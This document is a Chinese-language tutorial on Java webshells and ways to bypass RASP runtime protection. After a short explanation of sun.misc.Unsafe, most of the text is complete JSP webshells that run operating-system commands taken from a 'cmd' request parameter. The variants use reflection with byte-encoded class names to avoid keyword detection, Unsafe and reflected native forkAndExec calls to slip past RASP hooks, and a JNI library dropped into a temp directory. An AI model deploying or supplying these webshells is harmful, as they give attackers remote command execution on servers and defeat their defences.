|关于php的webshell相信大家已经很了解了,webshell就是相当于可以控制目标服务器的一小段代码。今天讲下java的webshell及bypassRASP。(本来研究了一阵子这想自己写点东西但发现总不如各位师傅想的全面,于是东凑凑西凑凑总结了下~侵权会删的)
前置知识:sun.misc.Unsafe
sun.misc.Unsafe是Java底层API(仅限Java内部使用,反射可调用)提供的一个神奇的Java类,Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的。我们可以用此类的相关方法来突破java中的某些限制
Unsafe是Java内部API,外部是禁止调用的,在编译Java类时如果检测到引用了Unsafe类也会有禁止使用的警告:Unsafe是内部专用 API, 可能会在未来发行版中删除。
import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;
public final class Unsafe {
private static final Unsafe theUnsafe;
static {
theUnsafe = new Unsafe();
省去其他代码......
}
private Unsafe() {
}
@CallerSensitive
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
if (var0.getClassLoader() != null) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
省去其他代码......
}
由上代码片段可以看到,Unsafe类是一个不能被继承的类且不能直接通过new的方式创建Unsafe类实例,如果通过getUnsafe方法获取Unsafe实例还会检查类加载器,默认只允许Bootstrap Classloader调用。
既然无法直接通过Unsafe.getUnsafe()的方式调用,那么可以使用反射的方式去获取Unsafe类实例。
反射获取Unsafe类实例代码片段:
// 反射获取Unsafe的theUnsafe成员变量
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);
// 反射获取theUnsafe成员变量值
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
当然我们也可以用反射创建Unsafe类实例的方式去获取Unsafe对象:
// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();
// 修改构造方法访问权限
constructor.setAccessible(true);
// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInstance();
获取到了Unsafe对象我们就可以调用内部的方法了。
假设我们有一个叫com.anbai.sec.unsafe.UnSafeTest的类,因为某种原因我们不能直接通过反射的方式去创建UnSafeTest类实例,那么这个时候使用Unsafe的allocateInstance方法就可以绕过这个限制了。
public class UnSafeTest {
private UnSafeTest() {
// 假设RASP在这个构造方法中插入了Hook代码,我们可以利用Unsafe来创建类实例
System.out.println("init...");
}
}
使用Unsafe创建UnSafeTest对象:
// 使用Unsafe创建UnSafeTest类实例
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);
Google的GSON库在JSON反序列化的时候就使用这个方式来创建类实例,在渗透测试中也会经常遇到这样的限制,比如RASP限制了java.io.FileInputStream类的构造方法导致我们无法读文件或者限制了UNIXProcess/ProcessImpl类的构造方法导致我们无法执行本地命令等。
ClassLoader类的defineClass0/1/2方法我们可以直接向JVM中注册一个类,如果ClassLoader被限制的情况下我们还可以使用Unsafe的defineClass方法来实现同样的功能。
Unsafe提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass方法:
public native Class defineClass(String var1, byte[] var2, int var3, int var4);
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);
使用Unsafe创建TestHelloWorld对象:
// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
或调用需要传入类加载器和保护域的方法:
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(
new CodeSource(null, (Certificate[]) null), null, classLoader, null
);
// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(
TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);
这个实例仅适用于Java 8以前的版本如果在Java 8中应该使用应该调用需要传类加载器和保护域的那个方法。Java 11开始Unsafe类已经把defineClass方法移除了(defineAnonymousClass方法还在),虽然可以使用java.lang.invoke.MethodHandles.Lookup.defineClass来代替,但是MethodHandles只是间接的调用了ClassLoader的defineClass,所以一切也就回到了ClassLoader。
javaRce:各种方法以及bypass
- java的命令执行一般都是通过Runtime类的Runtime.getRuntime().exec()方法来执行,来看一段demo (建议练习审计时不要用docker的环境,用idea启动):
- 看一下执行效果:
OK,这一段代码就是一个简单的webshell。接下来我们简单的跟踪下看下调用:
Runtime.exec(xxx)->ProcessBuilder.start()->UNIXProcess(xxx)->
forkAndExec(xxx)
我们可以根据此来写不同多种的webshell。
- 反射java.lang.Runtime(无敏感字符)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
- ProcessBuilder命令执行
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
- UNIXProcess/ProcessImpl
UNIXProcess和ProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。
我们可以直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以绕过RASP实现命令执行了。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}
// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object);
}
String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");
if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>
- forkAndExec命令执行-Unsafe+反射+Native方法调用
如果RASP把UNIXProcess/ProcessImpl类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:
使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
反射UNIXProcess/ProcessImpl类的forkAndExec方法。
构造forkAndExec需要的参数并调用。
反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
- JNI命令执行
Java可以通过JNI的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
/**
* JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
* 只有一个public static native String exec(String cmd);的方法
*/
private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
};
// JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译
private static final String COMMAND_JNI_FILE_BYTES = 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/**
* 获取JNI链接库目录
* @return 返回缓存JNI的临时目录
*/
File getTempJNILibFile() {
File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
if (!jniDir.exists()) {
jniDir.mkdir();
}
return new File(jniDir, "libcmd.lib");
}
/**
* 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
* 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
* @param str
* @return
*/
byte[] base64Decode(String str) {
try {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (ClassNotFoundException e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
} catch (Exception e) {
return null;
}
}
/**
* 写JNI链接库文件
* @param base64 JNI动态库Base64
* @return 返回是否写入成功
*/
void writeJNILibFile(String base64) throws IOException {
if (base64 != null) {
File jniFile = getTempJNILibFile();
if (!jniFile.exists()) {
byte[] bytes = base64Decode(base64);
if (bytes != null) {
FileOutputStream fos = new FileOutputStream(jniFile);
fos.write(bytes);
fos.flush();
fos.close();
}
}
}
}
%>
<%
// 需要执行的命令
String cmd = request.getParameter("cmd");
// JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
String jniBytes = request.getParameter("jni");
// JNI路径
File jniFile = getTempJNILibFile();
ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
if (loader == null) {
loader = new ClassLoader(this.getClass().getClassLoader()) {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
return super.findClass(name);
} catch (ClassNotFoundException e) {
return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
}
}
};
writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
application.setAttribute("__LOADER__", loader);
}
try {
// load命令执行类
Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
Object loadLib = application.getAttribute("__LOAD_LIB__");
if (loadLib == null || !((Boolean) loadLib)) {
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(loader, commandClass, jniFile);
application.setAttribute("__LOAD_LIB__", true);
}
String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
out.println("<pre>");
out.println(content);
out.println("</pre>");
} catch (Exception e) {
out.println(e.toString());
throw e;
}
%>